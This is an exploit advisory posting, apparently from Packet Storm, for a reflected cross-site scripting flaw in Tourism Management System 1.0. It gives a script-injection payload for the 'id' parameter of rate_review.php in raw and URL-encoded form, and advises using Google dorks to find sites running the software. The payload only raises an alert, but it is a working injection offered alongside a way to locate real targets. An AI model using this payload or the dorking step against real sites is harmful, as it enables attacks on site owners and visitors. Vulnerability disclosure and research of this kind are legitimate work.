Exploit for Tourism Management System 1.0 Cross Site Scripting

## https://sploitus.com/exploit?id=PACKETSTORM:181968
=============================================================================================================================================  
| # Title : Tourism Management System 1.0 XSS Vulnerability |  
| # Author : indoushka |  
| # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 128.0.3 (64 bits) |  
| # Vendor : https://www.sourcecodester.com/sites/default/files/download/oretnom23/tourism_1.zip |  
=============================================================================================================================================  
  
poc :  
  
[+] Dorking İn Google Or Other Search Enggine.  
  
[+] Use Payload : /rate_review.php?id=1"><script>alert(/indoushka/)</script>  
  
[+] http://localhost/tourism/rate_review.php?id=1%22%3E%3Cscript%3Ealert(/indoushka/)%3C/script%3E  
  
  
Greetings to :=====================================================================================  
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|  
===================================================================================================